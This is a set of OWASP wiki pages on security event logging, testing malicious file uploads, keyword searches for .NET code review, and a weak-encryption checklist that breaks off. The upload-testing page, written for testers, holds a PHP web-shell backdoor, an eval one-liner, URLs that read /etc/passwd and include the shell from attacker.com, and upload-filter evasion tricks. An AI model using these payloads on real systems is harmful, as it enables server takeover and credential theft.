Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCIDSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. It is important not to log too much, or too little. Use knowledge of the intended purposes to guide what, when and how much. The remainder of this cheat sheet primarily discusses security event logging.

= Design, implementation and testing =

== Event data sources ==

The application itself has access to a wide range of information events that should be used to generate log entries. Thus, the primary event data source is the application code itself. The application has the most information about the user (e.g. identity, roles, permissions) and the context of the event (target, action, outcomes), and often this data is not available to either infrastructure devices, or even closely-related applications.

Other sources of information about application usage that could also be considered are:

* Client software e.g. actions on desktop software and mobile devices in local logs or using messaging technologies, JavaScript exception handler via Ajax, web browser such as using Content Security Policy (CSP) reporting mechanism
* Embedded instrumentation code
* Network firewalls
* Network and host intrusion detection systems (NIDS and HIDS)
* Closely-related applications e.g. filters built into web server software, web server URL redirects/rewrites to scripted custom error pages and handlers
* Application firewalls e.g. filters, guards, XML gateways, database firewalls, web application firewalls (WAFs)
* Database applications e.g. automatic audit trails, trigger-based actions
* Reputation monitoring services e.g. uptime or malware monitoring
* Other applications e.g. fraud monitoring, CRM
* Operating system e.g. mobile platform

The degree of confidence in the event information has to be considered when including event data from systems in a different trust zone. Data may be missing, modified, forged, replayed and could be malicious – it must always be treated as untrusted data. Consider how the source can be verified, and how integrity and non-repudiation can be enforced.

== Where to record event data ==

Applications commonly write event log data to the file system or a database (SQL or NoSQL). Applications installed on desktops and on mobile devices may use local storage and local databases, as well as sending data to remote storage. Your selected framework may limit the available choices. All types of applications may send event data to remote systems (instead of or as well as more local storage). This could be a centralized log collection and management system (e.g. SIEM or SEM) or another application elsewhere. Consider whether the application can simply send its event stream, unbuffered, to stdout, for management by the execution environment.

* When using the file system, it is preferable to use a separate partition than those used by the operating system, other application files and user generated content
** For file-based logs, apply strict permissions concerning which users can access the directories, and the permissions of files within the directories
** In web applications, the logs should not be exposed in web-accessible locations, and if done so, should have restricted access and be configured with a plain text MIME type (not HTML)
* When using a database, it is preferable to utilize a separate database account that is only used for writing log data and which has very restrictive database , table, function and command permissions
* Use standard formats over secure protocols to record and send event data, or log files, to other systems e.g. Common Log File System (CLFS), Common Event Format (CEF) over syslog, possibly Common Event Expression (CEE) in future; standard formats facilitate integration with centralised logging services

Consider separate files/tables for extended event information such as error stack traces or a record of HTTP request and response headers and bodies.

== Which events to log ==

The level and content of security monitoring, alerting and reporting needs to be set during the requirements and design stage of projects, and should be proportionate to the information security risks. This can then be used to define what should be logged. There is no one size fits all solution, and a blind checklist approach can lead to unnecessary "alarm fog" that means real problems go undetected. Where possible, always log:

* Input validation failures e.g. protocol violations, unacceptable encodings, invalid parameter names and values
* Output validation failures e.g. database record set mismatch, invalid data encoding
* Authentication successes and failures
* Authorization (access control) failures
* Session management failures e.g. cookie session identification value modification
* Application errors and system events e.g. syntax and runtime errors, connectivity problems, performance issues, third party service error messages, file system errors, file upload virus detection, configuration changes
* Application and related systems start-ups and shut-downs, and logging initialization (starting, stopping or pausing)
* Use of higher-risk functionality e.g. network connections, addition or deletion of users, changes to privileges, assigning users to tokens, adding or deleting tokens, use of systems administrative privileges, access by application administrators,all actions by users with administrative privileges, access to payment cardholder data, use of data encrypting keys, key changes, creation and deletion of system-level objects, data import and export including screen-based reports, submission of user-generated content - especially file uploads
* Legal and other opt-ins e.g. permissions for mobile phone capabilities, terms of use, terms & conditions, personal data usage consent, permission to receive marketing communications

Optionally consider if the following events can be logged and whether it is desirable information:

* Sequencing failure
* Excessive use
* Data changes
* Fraud and other criminal activities
* Suspicious, unacceptable or unexpected behavior
* Modifications to configuration
* Application code file and/or memory changes

== Event attributes ==

Each log entry needs to include sufficient information for the intended subsequent monitoring and analysis. It could be full content data, but is more likely to be an extract or just summary properties. The application logs must record "when, where, who and what" for each event. The properties for these will be different depending on the architecture, class of application and host system/device, but often include the following:

* When
** Log date and time (international format)
** Event date and time - the event time stamp may be different to the time of logging e.g. server logging where the client application is hosted on remote device that is only periodically or intermittently online
** Interaction identifier [Note A]
* Where
** Application identifier e.g. name and version
** Application address e.g. cluster/host name or server IPv4 or IPv6 address and port number, workstation identity, local device identifier
** Service e.g. name and protocol
** Geolocation
** Window/form/page e.g. entry point URL and HTTP method for a web application, dialogue box name
** Code location e.g. script name, module name
* Who (human or machine user)
** Source address e.g. user's device/machine identifier, user's IP address, cell/RF tower ID, mobile telephone number
** User identity (if authenticated or otherwise known) e.g. user database table primary key value, user name, license number
* What
** Type of event [Note B]
** Severity of event [Note B] e.g. {0=emergency, 1=alert, ..., 7=debug}, {fatal, error, warning, info, debug, trace}
** Security relevant event flag (if the logs contain non-security event data too)
** Description

Additionally consider recording:

* Secondary time source (e.g. GPS) event date and time
* Action - original intended purpose of the request e.g. Log in, Refresh session ID, Log out, Update profile
* Object e.g. the affected component or other object (user account, data resource, file) e.g. URL, Session ID, User account, File
* Result status - whether the ACTION aimed at the OBJECT was successful e.g. Success, Fail, Defer
* Reason - why the status above occurred e.g. User not authenticated in database check ..., Incorrect credentials
* HTTP Status Code (web applications only) - the status code returned to the user (often 200 or 301)
* Request HTTP headers or HTTP User Agent (web applications only)
* User type classification e.g. public, authenticated user, CMS user, search engine, authorized penetration tester, uptime monitor (see "Data to exclude" below)
* Analytical confidence in the event detection [Note B] e.g. low, medium, high or a numeric value
* Responses seen by the user and/or taken by the application e.g. status code, custom text messages, session termination, administrator alerts
* Extended details e.g. stack trace, system error messages, debug information, HTTP request body, HTTP response headers and body
* Internal classifications e.g. responsibility, compliance references
* External classifications e.g. NIST Security Content Automation Protocol (SCAP), Mitre Common Attack Pattern Enumeration and Classification (CAPEC)

For more information on these, see the "other" related articles listed at the end, especially the comprehensive article by Anton Chuvakin and Gunnar Peterson.

Note A: The "Interaction identifier" is a method of linking all (relevant) events for a single user interaction (e.g. desktop application form submission, web page request, mobile app button click, web service call). The application knows all these events relate to the same interaction, and this should be recorded instead of losing the information and forcing subsequent correlation techniques to re-construct the separate events. For example a single SOAP request may have multiple input validation failures and they may span a small range of times. As another example, an output validation failure may occur much later than the input submission for a long-running "saga request" submitted by the application to a database server.

Note B: Each organisation should ensure it has a consistent, and documented, approach to classification of events (type, confidence, severity), the syntax of descriptions, and field lengths & data types including the format used for dates/times.

== Data to exclude ==

Never log data unless it is legally sanctioned. For example intercepting some communications, monitoring employees, and collecting some data without consent may all be illegal.

Never exclude any events from "known" users such as other internal systems, "trusted" third parties, search engine robots, uptime/process and other remote monitoring systems, pen testers, auditors. However, you may want to include a classification flag for each of these in the recorded data.

The following should not usually be recorded directly in the logs, but instead should be removed, masked, sanitized, hashed or encrypted:

* Application source code
* Session identification values (consider replacing with a hashed value if needed to track session specific events)
* Access tokens
* Sensitive personal data and some forms of personally identifiable information (PII) e.g. health, government identifiers, vulnerable people
* Authentication passwords
* Database connection strings
* Encryption keys and other master secrets
* Bank account or payment card holder data
* Data of a higher security classification than the logging system is allowed to store
* Commercially-sensitive information
* Information it is illegal to collect in the relevant jurisdictions
* Information a user has opted out of collection, or not consented to e.g. use of do not track, or where consent to collect has expired

Sometimes the following data can also exist, and whilst useful for subsequent investigation, it may also need to be treated in some special manner before the event is recorded:

* File paths
* Database connection strings
* Internal network names and addresses
* Non sensitive personal data (e.g. personal names, telephone numbers, email addresses)

Consider using personal data de-identification techniques such as deletion, scrambling or pseudonymization of direct and indirect identifiers where the individual's identity is not required, or the risk is considered too great.

In some systems, sanitization can be undertaken post log collection, and prior to log display.

== Customizable logging ==

It may be desirable to be able to alter the level of logging (type of events based on severity or threat level, amount of detail recorded). If this is implemented, ensure that:

* The default level must provide sufficient detail for business needs
* It should not be possible to completely inactivate application logging or logging of events that are necessary for compliance requirements
* Alterations to the level/extent of logging must be intrinsic to the application (e.g. undertaken automatically by the application based on an approved algorithm) or follow change management processes (e.g. changes to configuration data, modification of source code)
* The logging level must be verified periodically

== Event collection ==

If your development framework supports suitable logging mechanisms use, or build upon that. Otherwise, implement an application-wide log handler which can be called from other modules/components. Document the interface referencing the organisation-specific event classification and description syntax requirements. If possible create this log handler as a standard module that can is thoroughly tested, deployed in multiple application, and added to a list of approved & recommended modules.

* Perform input validation on event data from other trust zones to ensure it is in the correct format (and consider alerting and not logging if there is an input validation failure)
* Perform sanitization on all event data to prevent log injection attacks e.g. carriage return (CR), line feed (LF) and delimiter characters (and optionally to remove sensitive data)
* Encode data correctly for the output (logged) format
* If writing to databases, read, understand and apply the SQL injection cheat sheet
* Ensure failures in the logging processes/systems do not prevent the application from otherwise running or allow information leakage
* Synchronize time across all servers and devices [Note C]

Note C: This is not always possible where the application is running on a device under some other party's control (e.g. on an individual's mobile phone, on a remote customer's workstation which is on another corporate network). In these cases attempt to measure the time offset, or record a confidence level in the event time stamp.

Where possible record data in a standard format, or at least ensure it can be exported/broadcast using an industry-standard format.

In some cases, events may be relayed or collected together in intermediate points. In the latter some data may be aggregated or summarized before forwarding on to a central repository and analysis system.

== Verification ==

Logging functionality and systems must be included in code review, application testing and security verification processes:

* Ensure the logging is working correctly and as specified
* Check events are being classified consistently and the field names, types and lengths are correctly defined to an agreed standard
* Ensure logging is implemented and enabled during application security, fuzz, penetration and performance testing
* Test the mechanisms are not susceptible to injection attacks
* Ensure there are no unwanted side-effects when logging occurs
* Check the effect on the logging mechanisms when external network connectivity is lost (if this is usually required)
* Ensure logging cannot be used to deplete system resources, for example by filling up disk space or exceeding database transaction log space, leading to denial of service
* Test the effect on the application of logging failures such as simulated database connectivity loss, lack of file system space, missing write permissions to the file system, and runtime errors in the logging module itself
* Verify access controls on the event log data
* If log data is utilized in any action against users (e.g. blocking access, account lock-out), ensure this cannot be used to cause denial of service (DoS) of other users

= Deployment and operation =

== Release ==

* Provide security configuration information by adding details about the logging mechanisms to release documentation
* Brief the application/process owner about the application logging mechanisms
* Ensure the outputs of the monitoring (see below) are integrated with incident response processes

== Operation ==

Enable processes to detect whether logging has stopped, and to identify tampering or unauthorized access and deletion (see protection below).

== Protection ==

The logging mechanisms and collected event data must be protected from mis-use such as tampering in transit, and unauthorized access, modification and deletion once stored. Logs may contain personal and other sensitive information, or the data may contain information regarding the application's code and logic. In addition, the collected information in the logs may itself have business value (to competitors, gossip-mongers, journalists and activists) such as allowing the estimate of revenues, or providing performance information about employees. This data may be held on end devices, at intermediate points, in centralized repositories and in archives and backups. Consider whether parts of the data may need to be excluded, masked, sanitized, hashed or encrypted during examination or extraction.

At rest:

* Build in tamper detection so you know if a record has been modified or deleted
* Store or copy log data to read-only media as soon as possible
* All access to the logs must be recorded and monitored (and may need prior approval)
* The privileges to read log data should be restricted and reviewed periodically

In transit:

* If log data is sent over untrusted networks (e.g. for collection, for dispatch elsewhere, for analysis, for reporting), use a secure transmission protocol
* Consider whether the origin of the event data needs to be verified
* Perform due diligence checks (regulatory and security) before sending event data to third parties

See NIST SP 800-92 Guide to Computer Security Log Management for more guidance.

== Monitoring of events ==

The logged event data needs to be available to review and there are processes in place for appropriate monitoring, alerting and reporting:

* Incorporate the application logging into any existing log management systems/infrastructure e.g. centralized logging and analysis systems
* Ensure event information is available to appropriate teams
* Enable alerting and signal the responsible teams about more serious events immediately
* Share relevant event information with other detection systems, to related organizations and centralized intelligence gathering/sharing systems

== Disposal of logs ==

Log data, temporary debug logs, and backups/copies/extractions, must not be destroyed before the duration of the required data retention period, and must not be kept beyond this time. Legal, regulatory and contractual obligations may impact on these periods.

= Related articles =

OWASP [http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API ESAPI Documentation]

OWASP [https://www.owasp.org/index.php/Category:OWASP_Logging_Project Logging Project]

IETF [http://tools.ietf.org/html/rfc5424 syslog protocol]

Mitre [http://cee.mitre.org/ Common Event Expression (CEE)]

NIST [http://csrc.nist.gov/publications/nistpubs/800-92/SP800-92.pdf SP 800-92 Guide to Computer Security Log Management]

PCISSC [https://www.pcisecuritystandards.org/security_standards/documents.php PCI DSS v2.0 Requirement 10 and PA-DSS v2.0 Requirement 4]

W3C [http://www.w3.org/TR/WD-logfile.html Extended Log File Format]

Other [http://arctecgroup.net/pdf/howtoapplogging.pdf How to Do Application Logging Right, Anton Chuvakin & Gunnar Peterson, IEEE Security & Privacy Journal]

Other [http://taosecurity.blogspot.co.uk/2009/08/build-visibility-in.html Build Visibility In, Richard Bejtlich, TaoSecurity blog]

Other [http://www.arcsight.com/solutions/solutions-cef/ Common Event Format (CEF), Arcsight]

Other [https://www.ibm.com/developerworks/community/wikis/form/anonymous/api/wiki/9989d3d7-02c1-444e-92be-576b33d2f2be/page/3dc63f46-4a33-4e0b-98bf-4e55b74e556b/attachment/a19b9122-5940-4c89-ba3e-4b4fc25e2328/media/QRadar_LEEF_Format_Guide.pdf Log Event Extended Format ('''LEEF'''), IBM]

Other [http://www.clerkendweller.com/2010/8/17/Application-Security-Logging Application Security Logging, Colin Watson, Web Security Usability and Design Blog]

Other [http://msdn.microsoft.com/en-us/library/windows/desktop/bb986747(v=vs.85).aspx Common Log File System (CLFS), Microsoft]

Other [http://www.symantec.com/connect/articles/building-secure-applications-consistent-logging Building Secure Applications: Consistent Logging, Rohit Sethi & Nish Bhalla, Symantec Connect]

= Authors and Primary Contributors =

Most of the information included is based on content in the articles referenced in the text and listed above, but the following people have provided their ideas, knowledge and practical experience:

Colin Watson - colin.watson[at]owasp.org 
Eoin Keary - eoin.keary[at]owasp.org 
Alexis Fitzgerald - alexis.fitzgerald[at]owasp.org

= Other Cheatsheets =

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]]

Test Upload of Malicious Files (OTG-BUSLOGIC-009)

2017-09-05T01:13:30Z

Tony Hsu HsiangChih: /* Source Code Review */

{{Template:OWASP Testing Guide v4}}

== Summary ==

Many application’s business processes allow for the upload of data/information. We regularly check the validity and security of text but accepting files can introduce even more risk. To reduce the risk we may only accept certain file extensions, but attackers are able to encapsulate malicious code into inert file types. Testing for malicious files verifies that the application/system is able to correctly protect against attackers uploading malicious files.

Vulnerabilities related to the uploading of malicious files is unique in that these “malicious” files can easily be rejected through including business logic that will scan files during the upload process and reject those perceived as malicious. Additionally, this is different from uploading unexpected files in that while the file type may be accepted the file may still be malicious to the system.

Finally, "malicious" means different things to different systems, for example Malicious files that may exploit SQL server vulnerabilities may not be considered a "malicious" to a main frame flat file environment.

The application may allow the upload of malicious files that include exploits or shellcode without submitting them to malicious file scanning. Malicious files could be detected and stopped at various points of the application architecture such as: IPS/IDS, application server anti-virus software or anti-virus scanning by application as files are uploaded (perhaps offloading the scanning using SCAP).

== Example ==

Suppose a picture sharing application allows users to upload their .gif or .jpg graphic files to the web site. What if an attacker is able to upload a PHP shell, or exe file, or virus? The attacker may then upload the file that may be saved on the system and the virus may spread itself or through remote processes exes or shell code can be executed.

== How to Test==

Generic Testing Method

• Review the project documentation and use exploratory testing looking at the application/system to identify what constitutes and "malicious" file in your environment.

• Develop or acquire a known “malicious” file. An [http://www.eicar.org/85-0-Download.html EICAR anti-malware test file] can be used as harmless, but widely detected by antivirus software.

• Try to upload the malicious file to the application/system and verify that it is correctly rejected.

• If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated.

=== Exploit Payload ===

• Using the Metasploit payload generation functionality generates a shellcode as a Windows executable using the Metasploit "msfpayload" command.

• Submit the executable via the application’s upload functionality and see if it is accepted or properly rejected.

=== Malicious File ===

• Develop or create a file that should fail the application malware detection process. There are many available on the Internet such as ducklin.htm or ducklin-html.htm.

• Submit the executable via the application’s upload functionality and see if it is accepted or properly rejected.

http://www.eicar.org/86-0-intended-use.html

=== WebShell Backdoor ===

For example upload the 'WebShell-backdoor.php' to the target victim site. 

<nowiki><?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?></nowiki>

Once it's uploaded, the testers/hackers may get the password by visiting the URL below.

http://TargetVictimSite.com/WebShell-backdoor.php?cmd=cat+/etc/passwd

or it may execute by remote file injection as below.

http://TargetVictimSite.com/File.php?include=http://attacker.com/WebShell-backdoor.php

Other PHP example:
<?php @eval($_POST['password']);?>

=== Invalid File ===

• Set up the intercepting proxy to capture the “valid” request for an accepted file.

• Send an “invalid” request through with a valid/acceptable file extension and see if the request is accepted or properly rejected.

=== Source Code Review ===
When there is file upload feature supported, the following API/methods are common to be found in the source code.

* Java: new file, import, upload, getFileName, Download, getOutputString, fileOutputStream, java.io.file, export
* C/C++: open, fopen
* PHP: move_uploaded_file(),Readfile, file_put_contents(),file(),parse_ini_file(), copy(),fopen(),include(), require()

=== Evasion of the Filter ===
The following techniques may be used to bypass the website file upload checking rules and filters.

* Change the value of 'Content-Type' as 'image/jpeg' in HTTP request
* Change the extensions as executable extensions such as file.php5, file.shtml, file.asa, file.cert, file.jsp, file.jspx, file.aspx, file.asp, file.phtml
* Changes of capital letters of extensions. such as file.PhP or file.AspX
* Using special trailing such as spaces, dots or null characters such as file.asp… . file.php;jpg, file.asp%00.jpg, 1.jpg%00.php

The executable extensions should be in black list such as file.php5, file.shtml, file.asa, file.cert, file.jsp, file.jspx, file.aspx, file.asp, file.phtml

* In IIS6 vulnerability, if the file name is file.asp;file.jpg,the file will be executed as file.asp.

<nowiki>http://www.targetVictim.com/path/file.asp;file.jpg</nowiki>

* In NginX, if the original file name is test.jpg, testers/hackers may change it to 'test.jpg/x.php'
Once it's uploaded, the file will be executed as x.php

=== Zip files path ===
One Zip file may contain the malicious PHP with target purpose path such as '..\..\..\..\hacker.php'
If the website doesn't check the unzip target path, the hacker.php may unzip to the specified path.

=== Zip Bomp ===
Upload the ZIP bomb file that may cause application denial of service.

https://github.com/AbhiAgarwal/notes/wiki/Zip-bomb

* new File, file, OutputSteam, upload, import, file_put_contents, open, fopen

== Related Test Cases ==

[[Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)| Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]]

[[Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)| Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)]]

== Tools ==

• Metasploit's payload generation functionality

• Intercepting proxy

== References ==

OWASP - Unrestricted File Upload - https://www.owasp.org/index.php/Unrestricted_File_Upload

Why File Upload Forms are a Major Security Threat - http://www.acunetix.com/websitesecurity/upload-forms-threat/

File upload security best practices: Block a malicious file upload - http://www.computerweekly.com/answer/File-upload-security-best-practices-Block-a-malicious-file-upload

Overview of Malicious File Upload Attacks - http://securitymecca.com/article/overview-of-malicious-file-upload-attacks/

8 Basic Rules to Implement Secure File Uploads - http://software-security.sans.org/blog/2009/12/28/8-basic-rules-to-implement-secure-file-uploads

Stop people uploading malicious PHP files via forms - http://stackoverflow.com/questions/602539/stop-people-uploading-malicious-php-files-via-forms

How to Tell if a File is Malicious - http://www.techsupportalert.com/content/how-tell-if-file-malicious.htm

CWE-434: Unrestricted Upload of File with Dangerous Type - http://cwe.mitre.org/data/definitions/434.html

Implementing Secure File Upload - http://infosecauditor.wordpress.com/tag/malicious-file-upload/

Watchful File Upload - http://palizine.plynt.com/issues/2011Apr/file-upload/

Matasploit Generating Payloads - http://www.offensive-security.com/metasploit-unleashed/Generating_Payloads

Project Shellcode – Shellcode Tutorial 9: Generating Shellcode Using Metasploit
http://www.projectshellcode.com/?q=node/29

Anti-Malware Test file - http://www.eicar.org/86-0-Intended-use.html

== Remediation ==

While safeguards such as black or white listing of file extensions, using “Content-Type” from the header, or using a file type recognizer may not always be protections against this type of vulnerability. Every application that accepts files from users must have a mechanism to verify that the uploaded file does not contain malicious code. Uploaded files should never be stored where the users or attackers can directly access them.

Crawling Code

2017-08-25T02:24:16Z

Tony Hsu HsiangChih: /* Crypto */

{{LinkBar
| useprev=PrevLink | prev=Code Review Metrics | lblprev=
| usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents
| usenext=NextLink | next=Searching for Code in J2EE/Java | lblnext=
}}
__TOC__

Crawling code is the practice of scanning a code base of the review target in question. It is, in effect, looking for key pointers wherein a possible security vulnerability might reside. Certain APIs are related to interfacing to the external world or file IO or user management, which are key areas for an attacker to focus on. In crawling code we look for APIs relating to these areas. We also need to look for business logic areas which may cause security issues, but generally these are bespoke methods which have bespoke names and can not be detected directly, even though we may touch on certain methods due to their relationship with a certain key API.

We also need to look for common issues relating to a specific language; issues that may not be *security* related but which may affect the stability/availability of the application in the case of extraordinary circumstances. Other issues when performing a code review are areas such a simple copyright notice in order to protect one’s intellectual property.

Crawling code can be done manually or in an automated fashion using automated tools. Tools as simple as grep or wingrep can be used. Other tools are available which would search for key words relating to a specific programming language.

The following sections shall cover the function of crawing code for Java/J2EE, .NET and Classic ASP. This section is best used in conjunction with the [[Security Code Review Coverage|transactional analysis]] section also detailed in this guide.

==Searching for Key Indicators==
The basis of the code review is to locate and analyse areas of code which may have application security implications. Assuming the code reviewer has a thorough understanding of the code, what it is intended to do, and the context in which it is to be used, firstly one needs to sweep the code base for areas of interest.

This can be done by performing a text search on the code base looking for keywords relating to APIs and functions. Below is a guide for .NET framework 1.1 & 2.0

==Searching for Code in .NET==
Firstly one needs to be familiar with the tools one can use in order to perform text searching, following this one needs to know what to look for.

In this section we will assume you have a copy of Visual Studio (VS) .NET at hand. VS has two types of search "Find in Files" and a cmd line tool called Findstr.

The test search tools in XP is not great in my experience and if one has to use this make sure SP2 in installed as it works better. To start off, one should scan thorough the code looking for common patterns or keywords such as "User", "Password", "Pswd", "Key", "Http", etc... This can be done using the "Find in Files" tool in VS or using findstring as follows:

findstr /s /m /i /d:c:\projects\codebase\sec "http" *.*

==HTTP Request Strings==
Requests from external sources are obviously a key area of a security code review. We need to ensure that all HTTP requests received are data validated for composition, max and min length, and if the data falls with the realms of the parameter white-list. Bottom-line is this is a key area to look at and ensure security is enabled.

request.accepttypes 
request.browser 
request.files 
request.headers 
request.httpmethod 
request.item 
request.querystring 
request.form 
request.cookies 
request.certificate 
request.rawurl 
request.servervariables 
request.url 
request.urlreferrer 
request.useragent 
request.userlanguages 
request.IsSecureConnection 
request.TotalBytes 
request.BinaryRead 
InputStream 
HiddenField.Value 
TextBox.Text 
recordSet 

==HTML Output==
Here we are looking for responses to the client. Responses which go unvalidated or which echo external input without data validation are key areas to examine. Many client side attacks result from poor response validation. XSS relies on this somewhat.

response.write 
<% = 
HttpUtility 
HtmlEncode 
UrlEncode 
innerText 
innerHTML 

==SQL & Database==
Locating where a database may be involved in the code is an important aspect of the code review. Looking at the database code will help determine if the application is vulnerable to SQL injection. One aspect of this is to verify that the code uses either SqlParameter, OleDbParameter, or OdbcParameter(System.Data.SqlClient). These are typed and treat parameters as the literal value and not executable code in the database.

exec sp_executesql 
execute sp_executesql 
select from 
Insert 

update 
delete from where 
delete 
exec sp_ 
execute sp_ 
exec xp_ 
execute sp_ 
exec @ 
execute @ 
executestatement 
executeSQL 
setfilter 
executeQuery 
GetQueryResultInXML 
adodb 
sqloledb 
sql server 

driver 
Server.CreateObject 
.Provider 
.Open 
ADODB.recordset 
New OleDbConnection 
ExecuteReader 
DataSource 

SqlCommand 
Microsoft.Jet 
SqlDataReader 
ExecuteReader 
GetString 
SqlDataAdapter 
CommandType 
StoredProcedure 
System.Data.sql 

==Cookies==
Cookie manipulation can be key to various application security exploits, such as session hijacking/fixation and parameter manipulation. One should examine any code relating to cookie functionality, as this would have a bearing on session security.

System.Net.Cookie 
HTTPOnly 
document.cookie 

==HTML Tags==
Many of the HTML tags below can be used for client side attacks such as cross site scripting. It is important to examine the context in which these tags are used and to examine any relevant data validation associated with the display and use of such tags within a web application.

HtmlEncode 
URLEncode 
<applet> 
<frameset> 
<embed> 
<frame> 
<html> 
<iframe> 
<img> 
<style> 
<layer> 
<ilayer> 
<meta> 
<object> 
<body> 
<frame security 
<iframe security 

==Input Controls==
The input controls below are server classes used to produce and display web application form fields. Looking for such references helps locate entry points into the application.

system.web.ui.htmlcontrols.htmlinputhidden
system.web.ui.webcontrols.hiddenfield
system.web.ui.webcontrols.hyperlink
system.web.ui.webcontrols.textbox
system.web.ui.webcontrols.label
system.web.ui.webcontrols.linkbutton
system.web.ui.webcontrols.listbox
system.web.ui.webcontrols.checkboxlist
system.web.ui.webcontrols.dropdownlist

==WEB.Config==
The .NET Framework relies on .config files to define configuration settings. The .config files are text-based XML files. Many .config files can, and typically do, exist on a single system. Web applications refer to a web.config file located in the application’s root directory. For ASP.NET applications, web.config contains information about most aspects of the application’s operation.

requestEncoding 
responseEncoding 
trace 
authorization 
compilation 
CustomErrors 
httpCookies 
httpHandlers 
httpRuntime 
sessionState 
maxRequestLength 
debug 
forms protection 
appSettings 
ConfigurationSettings 
appSettings 
connectionStrings 
authentication mode 
allow 
deny 
credentials 
identity impersonate 
timeout 
remote 

==global.asax==
Each application has its own Global.asax if one is required. Global.asax sets the event code and values for an application using scripts. One must ensure that application variables do not contain sensitive information, as they are accessible to the whole application and to all users within it.

Application_OnAuthenticateRequest 
Application_OnAuthorizeRequest 
Session_OnStart 
Session_OnEnd 

==Logging==
Logging can be a source of information leakage. It is important to examine all calls to the logging subsystem and to determine if any sensitive information is being logged. Common mistakes are logging userID in conjunction with passwords within the authentication functionality or logging database requests which may contains sensitive data.

log4net 
Console.WriteLine 
System.Diagnostics.Debug 
System.Diagnostics.Trace 

==Machine.config==
Its important that many variables in machine.config can be overridden in the web.config file for a particular application.

validateRequest 
enableViewState 
enableViewStateMac 

==Threads and Concurrency==
Locating code that contains multithreaded functions. Concurrency issues can result in race conditions which may result in security vulnerabilities. The Thread keyword is where new threads objects are created. Code that uses static global variables which hold sensitive security information may cause session issues. Code that uses static constructors may also cause issues between threads. Not synchronizing the Dispose method may cause issues if a number of threads call Dispose at the same time, this may cause resource release issues.

Thread 
Dispose 

==Class Design==
Public and Sealed relate to the design at class level. Classes which are not intended to be derived from should be sealed. Make sure all class fields are Public for a reason. Don't expose anything you don't need to.

Public 
Sealed 

==Reflection, Serialization==
Code may be generated dynamically at runtime. Code that is generated dynamically as a function of external input may give rise to issues. If your code contains sensitive data, does it need to be serialized?

Serializable 
AllowPartiallyTrustedCallersAttribute 
GetObjectData 
StrongNameIdentityPermission 
StrongNameIdentity 
System.Reflection 

==Exceptions & Errors==
Ensure that the catch blocks do not leak information to the user in the case of an exception. Ensure when dealing with resources that the finally block is used. Having trace enabled is not great from an information leakage perspective. Ensure customised errors are properly implemented.

catch{ 
Finally 
trace enabled 
customErrors mode 

==Crypto==
If cryptography is used then is a strong enough cipher used, i.e. AES or 3DES? What size key is used? The larger the better. Where is hashing performed? Are passwords that are being persisted hashed? They should be. How are random numbers generated? Is the PRNG "random enough"?

RNGCryptoServiceProvider 
SHA 
MD5 
base64 
xor 
DES 
RC2 
System.Random 
Random 
System.Security.Cryptography

userid

username

password

pass

pwd

key

sharekey

code

encode

encrypt

enc

dec

decrypt 

==Storage==
If storing sensitive data in memory, I recommend one uses the following.

SecureString 
ProtectedMemory 

==Authorization, Assert & Revert==
Bypassing the code access security permission? Not a good idea. Also below is a list of potentially dangerous permissions such as calling unmanaged code, outside the CLR.

.RequestMinimum 
.RequestOptional 
Assert 
Debug.Assert 
CodeAccessPermission 
ReflectionPermission.MemberAccess 
SecurityPermission.ControlAppDomain 
SecurityPermission.UnmanagedCode 
SecurityPermission.SkipVerification 
SecurityPermission.ControlEvidence 
SecurityPermission.SerializationFormatter 
SecurityPermission.ControlPrincipal 
SecurityPermission.ControlDomainPolicy 
SecurityPermission.ControlPolicy 

==Legacy Methods==
printf 
strcpy 

{{LinkBar
| useprev=PrevLink | prev=Code Review Metrics | lblprev=
| usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents
| usenext=NextLink | next=Searching for Code in J2EE/Java | lblnext=
}}

[[Category:OWASP Code Review Project]]

Testing for Weak Encryption (OTG-CRYPST-004)

2017-07-14T02:28:38Z

Tony Hsu HsiangChih: /* References */

== Summary ==
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4.

In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in asymmetric encryption.

The testing guide is trying to provide a guideline how to identify the weak encryption and hash.

== How to Test ==

=== Basic Security Checklist ===
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, "java.util.Random" is considered a weak random number generator. "java.security.SecureRandom" should be used instead of "java.util.Random".
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.
* When uses of RSA in signature, PSS padding is recommended.
* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)
* Minimum Key length requirement:
Key exchange: Diffie–Hellman key exchange with minimum 2048 bits
Message Integrity: HMAC-SHA2
Message Hash: SHA2 256 bits
Assymetric encryption: RSA 2048 bits
Symmetric-key algorithm: AES 128 bits
Password Hashing: PBKDF2, Scrypt, Bcrypt
ECDH、ECDSA: 256 bits
* Uses of SSH, CBC mode should not be used.
* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000. [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.

=== Source Code Review ===
